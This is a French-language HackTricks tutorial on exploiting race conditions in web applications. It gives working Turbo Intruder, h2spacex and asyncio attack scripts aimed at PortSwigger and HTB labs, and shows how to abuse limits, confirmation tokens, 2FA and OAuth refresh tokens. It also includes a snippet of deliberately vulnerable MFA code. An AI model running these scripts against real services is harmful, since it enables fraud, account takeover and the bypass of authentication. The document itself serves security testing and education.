# Condition de course
\ Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui à : {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% hint style="warning" %} Pour obtenir une compréhension approfondie de cette technique, consultez le rapport original sur [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) {% endhint %} ## Amélioration des attaques de condition de course Le principal obstacle pour tirer parti des conditions de course est de s'assurer que plusieurs requêtes sont traitées en même temps, avec **très peu de différence dans leurs temps de traitement - idéalement, moins de 1 ms**. Voici quelques techniques pour synchroniser les requêtes : #### Attaque en un seul paquet HTTP/2 vs Synchronisation du dernier octet HTTP/1.1 * **HTTP/2** : prend en charge l'envoi de deux requêtes sur une seule connexion TCP, réduisant l'impact du jitter du réseau. Cependant, en raison de variations côté serveur, deux requêtes peuvent ne pas suffire pour une exploitation cohérente de la condition de course. * **HTTP/1.1 'Synchronisation du dernier octet'** : permet l'envoi préalable de la plupart des parties de 20 à 30 requêtes, en retenant un petit fragment, qui est ensuite envoyé ensemble, atteignant une arrivée simultanée au serveur. La **préparation à la synchronisation du dernier octet** implique : 1. Envoi des en-têtes et des données du corps moins le dernier octet sans terminer le flux. 2. Pause de 100 ms après l'envoi initial. 3. Désactivation de TCP\_NODELAY pour utiliser l'algorithme de Nagle pour regrouper les trames finales. 4. Ping pour chauffer la connexion. L'envoi ultérieur des trames retenues devrait entraîner leur arrivée dans un seul paquet, vérifiable via Wireshark. Cette méthode ne s'applique pas aux fichiers statiques, qui ne sont généralement pas impliqués dans les attaques RC. ### Adaptation à l'architecture du serveur Comprendre l'architecture de la cible est crucial. Les serveurs frontaliers peuvent router les requêtes différemment, affectant le timing. Le préchauffage côté serveur préventif, à travers des requêtes insignifiantes, pourrait normaliser le timing des requêtes. #### Gestion du verrouillage basé sur la session Les frameworks comme le gestionnaire de session PHP sérialisent les requêtes par session, obscurcissant potentiellement les vulnérabilités. L'utilisation de jetons de session différents pour chaque requête peut contourner ce problème. #### Surmonter les limites de taux ou de ressources Si le préchauffage de la connexion est inefficace, déclencher intentionnellement les retards de limite de taux ou de ressources des serveurs web en inondant de fausses requêtes pourrait faciliter l'attaque en un seul paquet en induisant un retard côté serveur propice aux conditions de course. ## Exemples d'attaque * **Tubo Intruder - Attaque en un seul paquet HTTP2 (1 point de terminaison)** : Vous pouvez envoyer la requête à **Turbo Intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), vous pouvez changer dans la requête la valeur que vous souhaitez forcer pour **`%s`** comme dans `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` et ensuite sélectionner **`examples/race-single-packer-attack.py`** dans le menu déroulant :
Si vous allez **envoyer des valeurs différentes**, vous pourriez modifier le code avec celui-ci qui utilise une liste de mots depuis le presse-papiers : ```python passwords = wordlists.clipboard for password in passwords: engine.queue(target.req, password, gate='race1') ``` {% hint style="warning" %} Si le site web ne prend pas en charge HTTP2 (uniquement HTTP1.1), utilisez `Engine.THREADED` ou `Engine.BURP` au lieu de `Engine.BURP2`. {% endhint %} * **Tubo Intruder - Attaque à un seul paquet HTTP2 (Plusieurs points d'extrémité)** : Si vous avez besoin d'envoyer une requête à un point d'extrémité, puis à plusieurs autres points d'extrémité pour déclencher l'exécution de code à distance, vous pouvez modifier le script `race-single-packet-attack.py` comme suit : ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2 ) # Hardcode the second request for the RC confirmationReq = '''POST /confirm?token[]= HTTP/2 Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU Content-Length: 0 ''' # For each attempt (20 in total) send 50 confirmation requests. for attempt in range(20): currentAttempt = str(attempt) username = 'aUser' + currentAttempt # queue a single registration request engine.queue(target.req, username, gate=currentAttempt) # queue 50 confirmation requests - note that this will probably sent in two separate packets for i in range(50): engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` * Il est également disponible dans **Repeater** via la nouvelle option '**Envoyer le groupe en parallèle**' dans Burp Suite. * Pour **limit-overrun** vous pourriez simplement ajouter la **même requête 50 fois** dans le groupe. * Pour le **réchauffement de la connexion**, vous pourriez **ajouter** au **début** du **groupe** quelques **requêtes** vers une partie non statique du serveur web. * Pour **retarder** le processus **entre** le traitement **d'une requête et d'une autre** en 2 étapes de sous-états, vous pourriez **ajouter des requêtes supplémentaires entre** les deux requêtes. * Pour un RC à **multi-point d'extrémité**, vous pourriez commencer à envoyer la **requête** qui **va vers l'état caché** puis **50 requêtes** juste après qui **exploitent l'état caché**.
* **Script python automatisé**: Le but de ce script est de changer l'email d'un utilisateur tout en le vérifiant continuellement jusqu'à ce que le jeton de vérification du nouvel email arrive au dernier email (cela est dû au fait que dans le code, il y avait une RC où il était possible de modifier un email mais de recevoir la vérification sur l'ancien car la variable indiquant l'email était déjà renseignée avec le premier).\ Lorsque le mot "objetivo" est trouvé dans les emails reçus, nous savons que nous avons reçu le jeton de vérification de l'email modifié et nous terminons l'attaque. ```python # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # Script from victor to solve a HTB challenge from h2spacex import H2OnTlsConnection from time import sleep from h2spacex import h2_frames import requests cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg" # change these headers headersObjetivo= """accept: */* content-type: application/x-www-form-urlencoded Cookie: """+cookie+""" Content-Length: 112 """ bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827' headersVerification= """Content-Length: 1 Cookie: """+cookie+""" """ CSRF="42a08872-610a-4965-9553-22d7b3aa1827" host = "94.237.56.46" puerto =39697 url = "https://"+host+":"+str(puerto)+"/email/" response = requests.get(url, verify=False) while "objetivo" not in response.text: urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/" responseDeleteMails = requests.get(urlDeleteMails, verify=False) #print(response.text) # change this host name to new generated one Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" } data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile" responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False) print(responseReset.status_code) h2_conn = H2OnTlsConnection( hostname=host, port_number=puerto ) h2_conn.setup_connection() try_num = 100 stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num) all_headers_frames = [] # all headers frame + data frames which have not the last byte all_data_frames = [] # all data frames which contain the last byte for i in range(0, try_num): last_data_frame_with_last_byte='' if i == try_num/2: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501 method='POST', headers_string=headersObjetivo, scheme='https', stream_id=stream_ids_list[i], authority=host, body=bodyObjetivo, path='/challenge/api/profile' ) else: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( method='GET', headers_string=headersVerification, scheme='https', stream_id=stream_ids_list[i], authority=host, body=".", path='/challenge/api/sendVerification' ) all_headers_frames.append(header_frames_without_last_byte) all_data_frames.append(last_data_frame_with_last_byte) # concatenate all headers bytes temp_headers_bytes = b'' for h in all_headers_frames: temp_headers_bytes += bytes(h) # concatenate all data frames which have last byte temp_data_bytes = b'' for d in all_data_frames: temp_data_bytes += bytes(d) h2_conn.send_bytes(temp_headers_bytes) # wait some time sleep(0.1) # send ping frame to warm up connection h2_conn.send_ping_frame() # send remaining data frames h2_conn.send_bytes(temp_data_bytes) resp = h2_conn.read_response_from_socket(_timeout=3) frame_parser = h2_frames.FrameParser(h2_connection=h2_conn) frame_parser.add_frames(resp) frame_parser.show_response_of_sent_requests() print('---') sleep(3) h2_conn.close_connection() response = requests.get(url, verify=False) ``` ### Bruteforce Brut Avant la recherche précédente, voici quelques charges utiles utilisées qui ont simplement essayé d'envoyer les paquets le plus rapidement possible pour provoquer une RC. * **Répéteur :** Consultez les exemples de la section précédente. * **Intrus :** Envoyez la **requête** à **Intrus**, définissez le **nombre de threads** sur **30** dans le **menu Options**, sélectionnez comme charge utile **Charges utiles nulles** et générez **30.** * **Turbo Intrus** ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, pipeline=False ) a = ['Session=','Session=','Session='] for i in range(len(a)): engine.queue(target.req,a[i], gate='race1') # open TCP connections and send partial requests engine.start(timeout=10) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` * **Python - asyncio** ```python import asyncio import httpx async def use_code(client): resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"}) return resp.text async def main(): async with httpx.AsyncClient() as client: tasks = [] for _ in range(20): #20 times tasks.append(asyncio.ensure_future(use_code(client))) # Get responses results = await asyncio.gather(*tasks, return_exceptions=True) # Print results for r in results: print(r) # Async2sync sleep await asyncio.sleep(0.5) print(results) asyncio.run(main()) ``` ## **Méthodologie RC** ### Dépassement de limite / TOCTOU Il s'agit du type le plus basique de condition de course où des **vulnérabilités** apparaissent dans des endroits qui **limitent le nombre de fois où vous pouvez effectuer une action**. Comme utiliser plusieurs fois le même code de réduction dans une boutique en ligne. Un exemple très simple peut être trouvé dans [**ce rapport**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou dans [**ce bug**](https://hackerone.com/reports/759247)**.** Il existe de nombreuses variations de ce type d'attaque, notamment : * Utiliser plusieurs fois une carte cadeau * Noter un produit plusieurs fois * Retirer ou transférer de l'argent en excès par rapport à votre solde de compte * Réutiliser une solution CAPTCHA unique * Contourner une limite de taux anti-brute force ### **Sous-états cachés** Exploiter des conditions de course complexes implique souvent de profiter de brèves opportunités pour interagir avec des sous-états de machine cachés ou **non intentionnels**. Voici comment aborder cela : 1. **Identifier les sous-états cachés potentiels** * Commencez par cibler les points de terminaison qui modifient ou interagissent avec des données critiques, telles que les profils d'utilisateurs ou les processus de réinitialisation de mot de passe. Concentrez-vous sur : * **Stockage** : Privilégiez les points de terminaison qui manipulent des données persistantes côté serveur par rapport à ceux qui gèrent des données côté client. * **Action** : Recherchez les opérations qui modifient des données existantes, plus susceptibles de créer des conditions exploitables par rapport à celles qui ajoutent de nouvelles données. * **Clé** : Les attaques réussies impliquent généralement des opérations basées sur le même identifiant, par exemple, le nom d'utilisateur ou le jeton de réinitialisation. 2. **Effectuer des sondages initiaux** * Testez les points de terminaison identifiés avec des attaques de condition de course, en observant toute déviation par rapport aux résultats attendus. Des réponses inattendues ou des changements de comportement de l'application peuvent signaler une vulnérabilité. 3. **Démontrer la vulnérabilité** * Réduisez l'attaque au nombre minimal de requêtes nécessaires pour exploiter la vulnérabilité, souvent seulement deux. Cette étape peut nécessiter plusieurs tentatives ou une automatisation en raison de la synchronisation précise impliquée. ### Attaques sensibles au temps La précision dans la synchronisation des requêtes peut révéler des vulnérabilités, notamment lorsque des méthodes prévisibles comme les horodatages sont utilisées pour les jetons de sécurité. Par exemple, générer des jetons de réinitialisation de mot de passe basés sur des horodatages pourrait permettre d'obtenir des jetons identiques pour des requêtes simultanées. **Pour exploiter :** * Utilisez une synchronisation précise, comme une attaque à un seul paquet, pour effectuer des demandes de réinitialisation de mot de passe simultanées. Des jetons identiques indiquent une vulnérabilité. **Exemple :** * Demandez deux jetons de réinitialisation de mot de passe en même temps et comparez-les. Des jetons correspondants suggèrent une faille dans la génération de jetons. **Consultez ce** [**laboratoire PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **pour essayer cela.** ## Études de cas sur les sous-états cachés ### Payer et ajouter un article Consultez ce [**laboratoire PortSwigger**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) pour voir comment **payer** dans un magasin et **ajouter un article supplémentaire** que vous **n'aurez pas besoin de payer**. ### Confirmer d'autres e-mails L'idée est de **vérifier une adresse e-mail et la changer pour une autre en même temps** pour savoir si la plateforme vérifie la nouvelle adresse modifiée. ### Changer l'e-mail en 2 adresses e-mail basées sur les cookies Selon [**cette recherche**](https://portswigger.net/research/smashing-the-state-machine) Gitlab était vulnérable à une prise de contrôle de cette manière car il pourrait **envoyer** le **jeton de vérification de l'e-mail d'un e-mail à l'autre**. **Consultez ce** [**laboratoire PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **pour essayer cela.** ### États de base de données cachés / Contournement de la confirmation Si **2 écritures différentes** sont utilisées pour **ajouter** **des informations** dans une **base de données**, il y a un petit laps de temps où **seule la première donnée a été écrite** dans la base de données. Par exemple, lors de la création d'un utilisateur, le **nom d'utilisateur** et le **mot de passe** peuvent être **écrits** puis le jeton pour confirmer le compte nouvellement créé est écrit. Cela signifie que pendant un court laps de temps, le **jeton pour confirmer un compte est nul**. Par conséquent, **enregistrer un compte et envoyer plusieurs requêtes avec un jeton vide** (`token=` ou `token[]=` ou toute autre variation) pour confirmer le compte immédiatement pourrait permettre de **confirmer un compte** dont vous ne contrôlez pas l'e-mail. **Consultez ce** [**laboratoire PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **pour essayer cela.** ### Contourner l'authentification à 2 facteurs Le pseudo-code suivant est vulnérable à une condition de course car pendant un très court laps de temps, l'**authentification à 2 facteurs n'est pas appliquée** tandis que la session est créée: ```python session['userid'] = user.userid if user.mfa_enabled: session['enforce_mfa'] = True # generate and send MFA code to user # redirect browser to MFA code entry form ``` ### Persistance éternelle OAuth2 Il existe plusieurs [**fournisseurs OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Ces services vous permettront de créer une application et d'authentifier les utilisateurs que le fournisseur a enregistrés. Pour ce faire, le **client** devra **autoriser votre application** à accéder à certaines de leurs données à l'intérieur du **fournisseur OAuth**.\ Ainsi, jusqu'ici, il s'agit simplement d'une connexion classique avec google/linkedin/github... où vous êtes invité avec une page disant : "_L'application \ souhaite accéder à vos informations, voulez-vous l'autoriser?_" #### Condition de course dans `authorization_code` Le **problème** survient lorsque vous **l'acceptez** et envoie automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application abuse d'une Condition de Course dans le fournisseur de services OAuth pour générer plus d'un AT/RT** (_Authentication Token/Refresh Token_) à partir du **`authorization_code`** pour votre compte. Fondamentalement, elle exploitera le fait que vous avez accepté l'application pour accéder à vos données afin de **créer plusieurs comptes**. Ensuite, si vous **arrêtez d'autoriser l'application à accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides**. #### Condition de course dans `Refresh Token` Une fois que vous avez **obtenu un RT valide**, vous pourriez essayer de **l'exploiter pour générer plusieurs AT/RT** et **même si l'utilisateur annule les autorisations** pour l'application malveillante d'accéder à ses données, **plusieurs RT resteront valides**. ## **RC dans les WebSockets** Dans [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) vous pouvez trouver un PoC en Java pour envoyer des messages websocket en **parallèle** pour exploiter **les Conditions de Course également dans les Web Sockets**. ## Références * [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) * [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) * [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140) * [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) * [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
\ Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}